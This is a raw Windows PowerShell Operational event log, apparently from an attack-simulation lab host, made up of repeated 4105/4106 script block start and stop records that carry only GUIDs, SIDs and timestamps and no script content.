ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045440
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045439
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045438
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045437
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045436
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045435
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045434
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045433
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045432
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045431
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045430
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045429
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045428
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045427
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045426
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045425
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045424
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045423
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045422
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045421
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045420
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045419
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045418
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045417
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045416
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045415
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045414
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045413
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045412
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045410
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045409
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045408
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045407
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045406
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045405
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045404
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045403
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045402
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045400
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045399
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045398
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045397
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045396
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045395
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045394
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045393
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045392
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045391
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045390
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045389
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045388
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045387
Keywords=None
